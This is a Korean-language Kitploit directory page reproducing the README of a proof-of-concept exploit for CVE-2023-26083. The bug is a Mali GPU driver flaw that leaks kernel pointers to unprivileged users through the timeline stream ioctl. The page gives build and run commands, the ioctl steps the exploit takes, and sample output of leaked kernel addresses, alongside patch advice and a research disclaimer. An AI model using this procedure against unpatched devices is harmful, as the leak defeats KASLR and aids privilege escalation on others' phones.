Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/noverisp3/cve-2023-26083
Vulnerability AnalysisExploitationInformation GatheringHardware & IoT SecurityLearning & EducationBinary Exploitation
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

저장소 보기
43개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-26083 – 타임라인 스트림을 통한 Mali GPU 커널 주소 누출

이 저장소는 CVE-2023-26083에 대한 개념 증명(PoC) 익스플로잇을 포함하고 있습니다. 이 취약점은 Mali GPU 드라이버(Arm Mali GPU 커널 드라이버)에 존재하며, 권한이 없는 사용자가 타임라인 스트림(/dev/mali0)을 통해 커널 포인터와 민감한 내부 정보를 누출할 수 있게 합니다.

취약점 개요

Mali GPU 드라이버는 프로파일링 및 디버깅을 위한 '타임라인 스트림'(tlstream) 기능을 제공합니다. 이 스트림은 원시 커널 포인터(예: kbase_context, kbase_gpu, kbase_lpu, 주소 공간, 원자(atom) 등의 주소)를 포함하는 이벤트를 내보냅니다. 일반적으로 이 스트림에 대한 접근은 BASE_CONTEXT_CREATE_FLAG_MONITOR 플래그를 요구해야 합니다. 그러나 KBASE_IOCTL_TLSTREAM_ACQUIRE 핸들러에 권한 검사가 누락되어 있어, 어떤 프로세스든(모니터 플래그가 없더라도) 타임라인 스트림에 대한 파일 디스크립터를 얻고 커널 메모리 주소를 읽을 수 있습니다.

영향:

  • 커널 포인터 누출은 커널 ASLR(KASLR)을 무력화합니다.
  • 다른 취약점(예: use-after-free, 임의 쓰기)과 결합하면 권한 상승 또는 임의 커널 코드 실행으로 이어질 수 있습니다.
  • 누출 자체는 내부 드라이버 상태를 노출하며 핑거프린팅에 사용될 수 있습니다.

영향을 받는 버전

  • CVE-2023-26083 수정 이전의 Arm Mali GPU 커널 드라이버 버전.

빌드 및 실행

도구 다운로드

사전 요구 사항

  • Mali GPU가 장착된 기기(예: Exynos, MediaTek, 일부 Rockchip SoC).
  • 루트 액세스는 필요하지 않습니다 – PoC는 권한이 없는 사용자로 동작합니다.
  • 커널에 Mali 드라이버가 내장되거나 모듈로 포함되어 있어야 합니다(/dev/mali0이 존재해야 함).

컴파일

이 코드는 자체 포함형 독립 실행 코드이므로 표준 도구를 사용하여 쉽게 크로스 컴파일할 수 있습니다.

1. Android용 (권장)

Android NDK 툴체인을 사용하여 ARM64 기기용으로 컴파일하세요. 다양한 Android 버전에서의 동적 링커 호환성 문제를 방지하려면 정적 링크를 사용하는 것이 좋습니다:

root@kitploit:~
aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. ARM 기반 Linux 데스크톱/보드용

Mali GPU가 장착되고 표준 Linux 배포판을 실행하는 ARM 개발 보드(예: Raspberry Pi 또는 Odroid)에서 테스트하는 경우:

root@kitploit:~
gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

실행

root@kitploit:~
./mali_tlstream_leak

프로그램은 다음을 수행합니다:

  1. /dev/mali0을 엽니다.
  2. 버전 검사를 수행합니다.
  3. 플래그를 BASE_CONTEXT_CREATE_FLAG_NONE(모니터 권한 없음)으로 설정합니다.
  4. 타임라인 스트림을 획득합니다(취약한 ioctl).
  5. 몇 초 동안 타임라인 패킷을 읽습니다.
  6. 커널 포인터 누출을 파싱하여 표시합니다(*** KERNEL로 표시됨).

예제 출력

참고: 이 개념 증명(PoC)은 2020년 4월 1일 보안 패치 수준의 Android 8.1.0(커널 3.18)을 실행하는 Samsung Galaxy J7 Prime에서만 테스트되었습니다.

root@kitploit:~
on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0

Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
  [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
  [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
  [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
  [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
  [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
  [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
  [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
  [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
  [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
  [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
  [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
  [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
  [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
  [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
  [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
  [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
  [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
  [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
  [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
  [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
  [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
  [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
  [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
  [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
  [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
  [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613

위에서 볼 수 있듯이 PoC는 여러 커널 주소를 성공적으로 누출합니다:

  • LPU(Logic Processing Unit) 객체
  • 주소 공간(AS) 객체
  • GPU 객체
  • 컨텍스트(kbase_context) 객체

코드 설명

핵심 단계는 다음과 같습니다:

  1. /dev/mali0 열기 – 표준 Mali 장치 인터페이스.
  2. KBASE_IOCTL_VERSION_CHECK – 드라이버 컨텍스트를 초기화하는 데 필요합니다.
  3. KBASE_IOCTL_SET_FLAGS – create_flags를 BASE_CONTEXT_CREATE_FLAG_NONE(모니터 권한 없음)으로 설정합니다.
    일반적으로 이는 타임라인 스트림(tlstream) 접근을 차단해야 하지만, 이 버그로 인해 우회가 가능합니다.
  4. KBASE_IOCTL_TLSTREAM_ACQUIRE – 타임라인 스트림에 대한 새 파일 디스크립터를 획득합니다.
    모니터 플래그가 없음에도 불구하고 ioctl은 유효한 fd를 반환합니다.
  5. read() – 원시 타임라인 패킷을 읽습니다.
  6. 파서(Parser) – 패킷 헤더와 타임라인 이벤트 메시지를 디코딩하여 커널 포인터를 추출합니다.

완화 / 패치

CVE-2023-26083 수정 사항이 포함된 커널 버전으로 업데이트하세요.
또는 제조업체라면 Arm 또는 Linux 커널 stable 트리의 패치를 적용하세요.

면책 조항

이 코드는 교육 및 보안 연구 목적으로만 제공됩니다.
명시적 허가 없이 이 익스플로잇을 시스템에 사용하면 관련 법률을 위반할 수 있습니다. 저자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 소유한 기기 또는 테스트에 대한 서면 승인을 받은 기기에서만 사용하세요.

참고 자료

  • CVE-2023-26083
  • NIST NVD - CVE-2023-26083

작성자

Noveris